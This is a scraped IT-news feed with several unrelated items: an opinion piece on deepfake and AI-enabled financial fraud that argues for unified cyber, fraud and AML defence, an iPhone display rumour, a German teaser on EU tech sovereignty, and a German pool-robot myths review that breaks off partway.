<p class="wp-block-paragraph">Organizations were also advised to model security policies around command side effects rather than simply process invocation, limit access to privileged local services, and monitor trust handoffs throughout the development workflow.</p>
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<title><![CDATA[Asymmetric warfare in financial services: AI-powered fraud demands unified command]]></title>
<description><![CDATA[Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesso...]]></description>
<link>https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.</p>



<p class="wp-block-paragraph">The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. <a href="https://nilsonreport.com/articles/card-fraud-losses-worldwide-2024/">Global payment fraud reached $33.4 billion in 2024</a> according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies <a href="https://www.fbi.gov/news/press-releases/cryptocurrency-and-ai-scams-bilk-americans-of-billions">more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025</a> (up from $16 million in 2023), while Deloitte projects <a href="https://www.deloitte.com/us/en/insights/industry/financial-services/deepfake-banking-fraud-risk-on-the-rise.html">AI-enabled fraud in the US will hit $40 billion by 2027</a>. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.</p>



<p class="wp-block-paragraph">For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.</p>



<h2 class="wp-block-heading"><a></a>Reconnaissance at scale: How AI redraws the attacker’s map</h2>



<p class="wp-block-paragraph">The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of<a href="https://www.automox.com/"> Automox</a>, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”</p>



<p class="wp-block-paragraph">The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.</p>



<p class="wp-block-paragraph">The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.</p>



<p class="wp-block-paragraph">Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.</p>



<h2 class="wp-block-heading"><a></a>Fragmented command: The structural vulnerability AI exploits</h2>



<p class="wp-block-paragraph">Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.</p>



<p class="wp-block-paragraph">A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.</p>



<p class="wp-block-paragraph">Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.</p>



<p class="wp-block-paragraph">“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product &amp; Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of <a href="https://www.binance.com/en/blog/security/2953911729763975700">security depends on unified intelligence</a> — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.<br><br>“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.</p>



<h2 class="wp-block-heading"><a></a>Unified command: From org chart to battle plan</h2>



<p class="wp-block-paragraph">Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.</p>



<p class="wp-block-paragraph">That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.</p>



<p class="wp-block-paragraph">The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.</p>



<p class="wp-block-paragraph">Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”</p>



<h2 class="wp-block-heading"><a></a>Field manual: What winning institutions do differently</h2>



<p class="wp-block-paragraph">The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.</p>



<p class="wp-block-paragraph">Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[iPhone 20 Pro Max may get Apple's largest ever iPhone screen at 7 inches]]></title>
<description><![CDATA[A new rumor claims that Apple is considering using what it will call a 7-inch screen for one of the 20th anniversary iPhones, although that isn't as great an increase as it sounds.The display on the current iPhone 17 Pro Max is 6.86 inches.One recent rumor claimed that Apple had begun production ...]]></description>
<link>https://tsecurity.de/de/3683281/ios-mac-os/iphone-20-pro-max-may-get-apples-largest-ever-iphone-screen-at-7-inches/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683281/ios-mac-os/iphone-20-pro-max-may-get-apples-largest-ever-iphone-screen-at-7-inches/</guid>
<pubDate>Tue, 21 Jul 2026 11:57:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new rumor claims that Apple is considering using what it will call a 7-inch screen for one of the 20th anniversary <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhones</a>, although that isn't as great an increase as it sounds.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68308-143998-000-lead-iPhone-17-Pro-Max-display-xl.jpg" alt="Modern smartphone lying on a dark surface, screen displaying a vivid purple and pink abstract flower-like pattern with bright glowing center and small light reflections" height="720"><br><span>The display on the current iPhone 17 Pro Max is 6.86 inches.</span></div><br>One recent rumor claimed that Apple had begun <a href="https://appleinsider.com/articles/26/05/21/rumor-2027-iphone-production-testing-underway-with-quad-curved-oled-display">production evaluation</a> for a 2027 iPhone with a display that is curved on all four sides. Then another claimed that the <a href="https://appleinsider.com/inside/iphone-20" title="iPhone 20" data-kpt="1">iPhone 20</a> range would feature a <a href="https://appleinsider.com/articles/26/07/14/glass-production-plans-give-the-iphone-20-redesign-new-credibility">significant redesign</a>.<br><br>For the first time, though, a leaker is claiming that Apple is testing what would be its largest iPhone screen. According to Digital Chat Station on Chinese social media site Weibo, if it goes ahead with this screen, Apple will market it as being a <a href="https://weibo.com/6048569942/R9G4trdtx">7-inch one</a>.<br><br><br> <a href="https://appleinsider.com/articles/26/07/21/iphone-20-pro-max-may-get-apples-largest-ever-iphone-screen-at-7-inches?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245009?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Trumps Kill Switch: Wie die EU Alternativen zu MS365, ChatGPT und Co. aufbauen will]]></title>
<description><![CDATA[Dass die Trump-Administration Anthropics Top-Modelle Fable 5 und Mythos 5 sperrte, ist gravierend für Europa. Technologie-Blockaden sind kein hypothetisches Szenario mehr. Die EU hat bereits einen Plan gegen die Big-Tech-Abhängigkeit vorgelegt. Wie Open Source helfen soll und wo es bei den Maßnah...]]></description>
<link>https://tsecurity.de/de/3682960/it-nachrichten/trumps-kill-switch-wie-die-eu-alternativen-zu-ms365-chatgpt-und-co-aufbauen-will/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682960/it-nachrichten/trumps-kill-switch-wie-die-eu-alternativen-zu-ms365-chatgpt-und-co-aufbauen-will/</guid>
<pubDate>Tue, 21 Jul 2026 10:03:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://pics.computerbase.de/1/2/3/7/9/8-4b3c51f6ea03ff01/article-640x360.49274e90.jpg"><p>Dass die Trump-Administration Anthropics Top-Modelle Fable 5 und Mythos 5 sperrte, ist gravierend für Europa. Technologie-Blockaden sind kein hypothetisches Szenario mehr. Die EU hat bereits einen Plan gegen die Big-Tech-Abhängigkeit vorgelegt. Wie Open Source helfen soll und wo es bei den Maßnahmen hakt.</p>]]></content:encoded>
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<title><![CDATA[Ich lag bei Poolrobotern falsch: Diese 7 hartnäckigen Mythen stimmen nicht]]></title>
<description><![CDATA[Mit Poolrobotern hatten wir uns in der Redaktion bislang kaum beschäftigt. Entsprechend schnell war mein Urteil gefällt: vermutlich praktische Helfer, aber mit ähnlichen Schwächen wie viele Saugroboter – begrenzte Orientierung, unvollständige Reinigung und regelmäßige Nacharbeit.



Unsere eigene...]]></description>
<link>https://tsecurity.de/de/3682832/it-nachrichten/ich-lag-bei-poolrobotern-falsch-diese-7-hartnaeckigen-mythen-stimmen-nicht/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682832/it-nachrichten/ich-lag-bei-poolrobotern-falsch-diese-7-hartnaeckigen-mythen-stimmen-nicht/</guid>
<pubDate>Tue, 21 Jul 2026 08:33:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Mit Poolrobotern hatten wir uns in der Redaktion bislang kaum beschäftigt. Entsprechend schnell war mein Urteil gefällt: vermutlich praktische Helfer, aber mit ähnlichen Schwächen wie viele Saugroboter – begrenzte Orientierung, unvollständige Reinigung und regelmäßige Nacharbeit.</p>



<p>Unsere eigenen Praxistests mit Modellen von Aiper, Mova und Mammotion zeichneten jedoch ein anderes Bild. Dabei wurde deutlich, dass Poolroboter häufig mit falschen Erwartungen beurteilt werden. Sie ersetzen weder die Wasserpflege noch die Grundreinigung eines stark verschmutzten Beckens. Ihre eigentliche Aufgabe besteht darin, einen bereits gepflegten Pool regelmäßig von Blättern, Sand und anderen Ablagerungen zu befreien.</p>



<p>Viele Vorbehalte beruhen daher auf Missverständnissen. Diese sieben Mythen halten sich besonders hartnäckig.</p>



<h2 class="wp-block-heading toc">Mythos 1: Poolroboter können einen stark verschmutzten Pool bewältigen</h2>



<p><strong>Realität: Sie sind für die tägliche Pflege konzipiert</strong></p>



<p>Poolroboter sind Wartungsgeräte – keine Rettungskräfte für gekippte Becken. Sie spielen ihre Stärke bei der regelmäßigen Reinigung aus. Sie sammeln Blätter, Insekten, Sand und andere Ablagerungen vom Boden auf und können je nach Modell auch Wände und Wasserlinie säubern. Wurde ein Pool jedoch über längere Zeit vernachlässigt, stoßen selbst leistungsfähige Geräte schnell an ihre Grenzen.</p>



<p>Ist das Wasser bereits grün und stark von Algen durchsetzt, reicht es nicht aus, einfach einen Roboter ins Becken zu setzen. Er kann zwar groben Schmutz aufnehmen, verändert aber weder die Wasserqualität noch beseitigt er die Ursache der Algenbildung. Dafür sind zunächst eine passende chemische Behandlung sowie eine gründliche mechanische Reinigung erforderlich.</p>



<p>In der Regel muss das Wasser zuerst mit einer Stoßchlorung behandelt werden. Anschließend werden Wände und Boden abgebürstet, damit sich Algen und festsitzende Verschmutzungen lösen. Erst danach ist der richtige Zeitpunkt gekommen, den Poolroboter einzusetzen und die gelösten Rückstände aufzunehmen.</p>



<p>Genau darin liegt der entscheidende Unterschied: Poolroboter sind in erster Linie für die laufende Pflege eines grundsätzlich intakten Beckens gedacht. Sie können eine Grundreinigung unterstützen, ersetzen aber weder die Kontrolle der Wasserwerte noch die notwendige Behandlung eines umgekippten Pools.</p>



<p>Das deckt sich mit unseren Erfahrungen aus den Praxistests. Modelle wie der <a href="https://www.pcwelt.de/article/3181309/poolroboter-aiper-scuba-v3-test.html" target="_blank" rel="noreferrer noopener">Aiper Scuba V3</a> entfernen alltägliche Verunreinigungen zuverlässig. Ein stark vernachlässigtes, trübes oder von Algen befallenes Becken können sie dagegen nicht eigenständig wieder in einen nutzbaren Zustand versetzen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5f126cc974a"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/Test-Aiper-Scuba-V3-Arbeit-1.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Test Aiper Scuba V3 Arbeit 1" class="wp-image-3181334" width="1200" height="900" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Christoph Hoffmann</p></div>



<p>Eine einfache Faustregel lautet deshalb: Ist der Poolboden nicht mehr zu erkennen, sollten zunächst Wasserpflege, Bürste und Filtersystem zum Einsatz kommen – und erst anschließend der Roboter.</p>



<h2 class="wp-block-heading toc">Mythos 2: Die Roboter sind auf das Filtersystem des Pools angewiesen</h2>



<p><strong><strong>Realität</strong>: Sie arbeiten völlig unabhängig</strong></p>



<p>Auch ich war zunächst davon ausgegangen, dass solche Reiniger an die Pumpe und das Filtersystem des Pools angeschlossen werden müssen. Bei den meisten modernen Poolrobotern ist das jedoch nicht der Fall.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5f126cca217"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Test-Mova-Rover-X10-Filter-1.jpg?quality=50&amp;strip=all&amp;w=900" alt="Test Mova Rover X10 Filter 1" class="wp-image-3185377" width="900" height="1200" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Christoph Hoffmann</p></div>



<p>Roboter-Poolreiniger arbeiten vollständig autark und verfügen über eigene Motoren, Ansaugöffnungen und Filter. Sie müssen den Reiniger lediglich ins Wasser setzen, seine Arbeit erledigen lassen und ihn anschließend wieder herausnehmen. Ein Anschluss an den Skimmer ist nicht erforderlich, und auch die Poolpumpe wird nicht zusätzlich belastet.</p>



<p>Was die Geräte allerdings nicht leisten, ist, das Filtersystem des Pools oder die chemische Wasseraufbereitung zu ersetzen. Sie entfernen ausschließlich feste Verunreinigungen. Das ist ein weit verbreitetes Missverständnis. Die Regulierung der Wasserchemie und die Wartung des Filtersystems müssen weiterhin durch andere Geräte oder regelmäßige Pflegemaßnahmen erfolgen.</p>



<p>Daneben gibt es intelligente Systeme zur Wasserüberwachung, die mithilfe von Sensoren Werte wie Temperatur und pH-Wert erfassen. In der Regel handelt es sich um kleine Geräte, bei denen sich der Sensor im Becken befindet, während die Steuerzentrale außerhalb angebracht ist. Chemikalien geben solche Systeme jedoch nicht selbstständig ins Wasser. Sie dienen daher in erster Linie der Diagnose und Überwachung.</p>



<p>Manche Nutzer kombinieren einen Poolroboter mit einem solchen Überwachungssystem. Beide Geräte arbeiten jedoch unabhängig voneinander.</p>



<p>Etwas aufwendiger kann dagegen die Bergung des Roboters sein. Einige neuere Modelle sollen diesen Schritt erleichtern. Die meisten Poolroboter fahren nach der Reinigung lediglich bis zur Wasserlinie und bleiben dort nahe der Oberfläche stehen. Anschließend müssen Sie das Gerät greifen und aus dem Becken heben.</p>



<p>Das kann anstrengend sein, denn mit Wasser gefüllt wiegen die Geräte schnell zwischen 14 und 18 Kilogramm. Einige hochpreisige Modelle wie der <a href="https://mammotion.com/products/50-deposit-for-spino-s1-pro" target="_blank" rel="noreferrer noopener">Mammotion Spino S1 Pro</a> verfügen deshalb über einen externen Andockmechanismus, der den Roboter aus dem Wasser hebt.</p>



<h2 class="wp-block-heading toc">Mythos 3: Poolreinigungsroboter verbrauchen viel Energie</h2>



<p><strong><strong>Realität</strong>: Sie sind überraschend effizient</strong></p>



<p>Ich ging davon aus, dass diese Geräte stundenlang laufen würden. Vielleicht sogar über Nacht. Das ist jedoch nicht der Fall.</p>



<p>Die meisten laufen pro Zyklus nur ein paar Stunden (in der Regel weniger als drei) – und das war’s. Da sie mit Niederspannung betrieben werden, ist die kürzere Laufzeit gewissermaßen der springende Punkt. Sie sollen effizient reinigen und nicht einfach endlos laufen. Außerdem verbrauchen sie (ungefähr) so viel Strom wie ein Staubsauger.</p>



<p>In der Praxis sind sie dadurch effizienter, als ich erwartet hatte, insbesondere im Vergleich zu Systemen, die auf die Pumpe und das Filtersystem Ihres Schwimmbeckens angewiesen sind (wie beispielsweise ein Saugseitenreiniger). Sie reinigen genau das, was gereinigt werden muss, ohne ständig das gesamte Schwimmbecken umzuwälzen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5f126ccab11"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Test-Mova-Rover-X10-arbeit-1.jpg?quality=50&amp;strip=all&amp;w=900" alt="Test Mova Rover X10 arbeit 1" class="wp-image-3184916" width="900" height="1200" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Christoph Hoffmann</p></div>



<p>Selbst Modelle, die für größere Pools konzipiert sind, laufen nicht einfach unbegrenzt. Der <a href="https://www.pcwelt.de/article/3184890" target="_blank" rel="noreferrer noopener">Mova Rover X10</a> läuft länger als die meisten anderen (sechs Stunden!), wodurch er eine größere Fläche abdecken kann. Dennoch arbeitet er innerhalb eines festgelegten Zyklus.</p>



<h2 class="wp-block-heading toc">Mythos 4: Man kann den Poolroboter nur gelegentlich einsetzen</h2>



<p><strong>Realität: Das hängt von den Umgebungsbedingungen Ihres Pools ab</strong></p>



<p>Eine Frage, über die ich mir bislang kaum Gedanken gemacht hatte: Wie oft sollte ein Poolroboter eigentlich zum Einsatz kommen – einmal pro Woche oder doch besser jeden zweiten Tag?</p>



<p>Das hängt vor allem davon ab, wie intensiv der Pool genutzt wird und wie viel Schmutz sich im Becken ansammelt. Auch die Wetterbedingungen spielen eine Rolle. Steht der Pool beispielsweise unter Bäumen oder ist er starkem Wind ausgesetzt, kann eine häufigere Reinigung sinnvoll sein. Wenig genutzte und gut geschützte Pools kommen dagegen oft mit wenigen Reinigungsdurchläufen pro Woche aus.</p>



<p>Als grober Richtwert empfiehlt sich ein vollständiger Reinigungszyklus etwa alle drei Tage.</p>



<h2 class="wp-block-heading toc">Mythos 5: Räder und Laufbänder sind im Grunde dasselbe</h2>



<p><strong><strong>Realität</strong>: Laufflächen eignen sich besser zum Klettern</strong></p>



<p>Manche Poolroboter reinigen ausschließlich den Beckenboden, andere können zusätzlich die Wände hinauffahren. Leistungsfähigere Modelle beherrschen in der Regel beides. Dabei ist die Art der Fortbewegung wichtiger, als ich zunächst angenommen hatte.</p>



<p>Ich ging davon aus, dass der Unterschied zwischen Rädern und Raupenketten lediglich ein technisches Detail sei. Tatsächlich kann er jedoch einen spürbaren Einfluss auf Traktion, Wendigkeit und Reinigungsleistung haben.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5f126ccb5ca"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/Test-Aiper-Scuba-V3-Rand.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Test Aiper Scuba V3 Rand" class="wp-image-3181326" width="1200" height="900" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Christoph Hoffmann</p></div>



<p>Ketten haben mehr Kontakt zur Oberfläche und bieten daher eine bessere Haftung. Dies ist nützlich, um senkrechte Wände hinaufzuklettern und die Wasserlinie zu reinigen. Räder neigen eher zum Rutschen, was Ihnen vielleicht auffällt, wenn ein Reinigungsroboter zum ersten Mal versucht, eine Wand hinaufzuklettern, und dann wieder nach unten rutscht. </p>



<p>Wenn Ihnen die Wandreinigung am Herzen liegt, insbesondere im Bereich der Wasserlinie, erweist sich dieses Detail letztendlich als ziemlich wichtig.</p>



<h2 class="wp-block-heading toc">Mythos 6: Nur die Saugkraft zählt</h2>



<p><strong>Realität: Bürsten sind genauso wichtig</strong></p>



<p>Die Saugkraft ist der offensichtlichste Leistungswert eines Poolroboters. Sie sorgt dafür, dass Schmutz aufgenommen und in den Filter befördert wird. Auch ich ging zunächst davon aus, dass sie den größten Teil der Reinigungsarbeit übernimmt.</p>



<p>Tatsächlich ist sie jedoch nur ein Teil des Gesamtsystems. Eine hohe Saugleistung allein führt nicht automatisch zu einer besseren oder effizienteren Reinigung.</p>



<p>Mindestens ebenso wichtig sind die Bürsten. Sie lösen Schmutz, der an den Wänden oder am Boden des Pools haftet, bevor der Roboter ihn aufsaugt. Ein Modell, das hauptsächlich auf Saugkraft setzt, kann deshalb hartnäckigere Ablagerungen übersehen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5f126ccbcf2"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Test-Mova-Rover-X10-arbeit-2.jpg?quality=50&amp;strip=all&amp;w=900" alt="Test Mova Rover X10 arbeit 2" class="wp-image-3184915" width="900" height="1200" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
